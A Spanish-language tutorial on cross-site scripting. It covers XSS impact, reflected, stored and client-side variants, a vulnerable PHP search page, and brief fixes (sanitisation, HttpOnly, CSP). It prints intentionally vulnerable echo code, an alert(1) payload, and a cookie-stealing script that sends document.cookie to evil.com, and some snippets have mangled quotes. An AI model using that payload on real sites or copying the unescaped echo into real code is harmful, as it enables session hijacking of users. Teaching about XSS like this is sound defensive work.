¿QUÉ ES CROSS SITE SCRIPTING Y CÓMO SOLUCIONARLO?

¿Qué es Cross Site Scripting y cómo solucionarlo?

Cross Site Scripting es un tipo de ataque que se puede llevar a cabo para poner en peligro a los usuarios de una página web y seguridad de páginas web. La explotación de una falla XSS permite al atacante inyectar secuencias de comandos en el lado del cliente en las páginas web visitadas por los usuarios. A menudo se asume que significa JavaScript, pero también podría incluir, VBScript según expertos de seguridad web.

Los expertos de seguridad de páginas web dicen que es la vulnerabilidad más común, y muchos sitios son afectados. Se extiende desde pequeños sitios privados locales hacia gigantes como Google.

IMPACTO POTENCIAL SOBRE SEGURIDAD WEB

Debido a la capacidad de ejecutar JavaScript bajo el dominio del sitio, los atacantes son capaces de:

§  Leer todos los cookies, incluyendo los cookies de sesión. Al hacerlo, un atacante podría hacerse cargo de la sesión.

§  Ver cualquier cosa que el usuario ve, y robar información confidencial de este modo.

§  Cambiar lo que el usuario ve y manipular la información.

§  Básicamente hacer todo lo que un usuario normal puede, como el atacante puede ver y cambiar todo lo que presentan al usuario. Esto incluye la derivación de todas las protecciones CSRF implementadas para seguridad de páginas web. Para ponerlo en contexto; si el atacante con éxito pueda ejecutar el XSS, el atacante puede hacer todo lo que un administrador podría hacer.

§  Hacer cosas que el dominio vulnerable tiene acceso a hacer, lo que puede comprar el acceso a la cámara web del usuario, el micrófono o la ubicación.

EXPLOTACIÓN DE SEGURIDAD WEB

Cualquier fuente de datos que el navegador termina reproduciendo es un vector potencial de ataque. Esto significa que hay muchas maneras diferentes potenciales para explotar el sitio, y por lo tanto el riesgo de seguridad web aumenta.

Cross site scripting es considerado uno de los más fáciles tipos de vulnerabilidad para comprender. Dicho esto, no hay límites sobre lo complicado que puede ser, para explotar bajo diferentes circunstancias y protecciones según expertos de seguridad de páginas web.

¿CÓMO DESCUBRIRLO?

Es posible categorizar las vulnerabilidades de XSS en diferentes sub categorías. Una de esas son las que sólo ponen en el cliente, en donde el propietario del sitio tendría que analizar todo el JavaScript para identificar todos los flujos de datos que se originan a partir de un usuario. En un primer momento, es fácil pensar en sólo los lugares normales, pero después de un tiempo, es obvio que hay muchos más vectores de los que se pensaba inicialmente.

Luego están los llamados reflected XSS que también afecta la seguridad de páginas web, que es cuando la página simplemente refleja algún tipo de entrada del usuario. Por ejemplo:

<?php echo $_GET[“g]; ?>

Sin embargo, también hay stored XSS que también afecta la seguridad de páginas web, en el que el servidor muestra algo que está en la base de datos. En resumen, se puede concluir que para descubrir el primer tipo mencionado necesitaría el propietario del sitio seguir el flujo de datos a lo largo de JavaScript para ver cómo trata la entrada del usuario. En este caso, la entrada del usuario pueden ser variables predeterminadas en JavaScript como location.hash, así como, por ejemplo, form-data. Para la segunda vulnerabilidad los expertos de seguridad web mencionan que el propietario del sitio tiene que buscar cada ubicación donde se imprimieron datos, e identificar la forma en que trataron, así como donde se originan. En los ejemplos de la vida real, no es raro ver a una combinación de estos tipos de vulnerabilidad.

EJEMPLO DE CÓDIGO DE APLICACIÓN VULNERABLE

Suponga que un sitio tiene un cuadro de búsqueda con el código como el siguiente:

<?php // Code for performing the actual search } else { echo “Could not find any pages when searching for “.$_GET[‘query’];} ?>

https://example.com/search.php?query=test

Could not find any pages when searching for test

Esto haría salida de la entrada del usuario directamente al documento HTML. Por lo tanto, si un usuario diera HTML como entrada sería necesario para al navegador a aceptar eso.

Por ejemplo, si tuviéramos que acceder

https://example.com/search.php?query=<script>//

Eso daría lugar a lo siguiente que el navegador trataría de hacer.

No se pudo encontrar ninguna página en la búsqueda de

<script>alert(1)</script>

Esto es perfectamente válido HTML, y el script lo ejecutara.

Para mostrar el peligro de esto, imagina a un atacante consiguiendo que el usuario haga clic en un enlace como el siguiente:

https://example.com/search.php?query=<script>document.InnerHTML += “<img src=’
http://evil.com?cookie=”+document.cookie+”‘>”</script>

El resultado sería este, que envía las cookies al atacante. Por ejemplo, fueron sesiones de identificación, un atacante podría secuestrar la sesión.

No se pudo encontrar ninguna página en la búsqueda de

<script>document.InnerHTML += “<img src=’http://evil.com?cookie=”+document.cookie+”‘/>”</script>   

Deben sanitar las entradas de datos. La aplicación también debe desarrollarse con el riesgo de XSS en cuenta, y resolver las vulnerabilidades XSS. Dos de los métodos más conocidos de esto es HttpOnly y CSP. Pueden aprender más sobre cómo arreglar XSS durante el curso de seguridad web.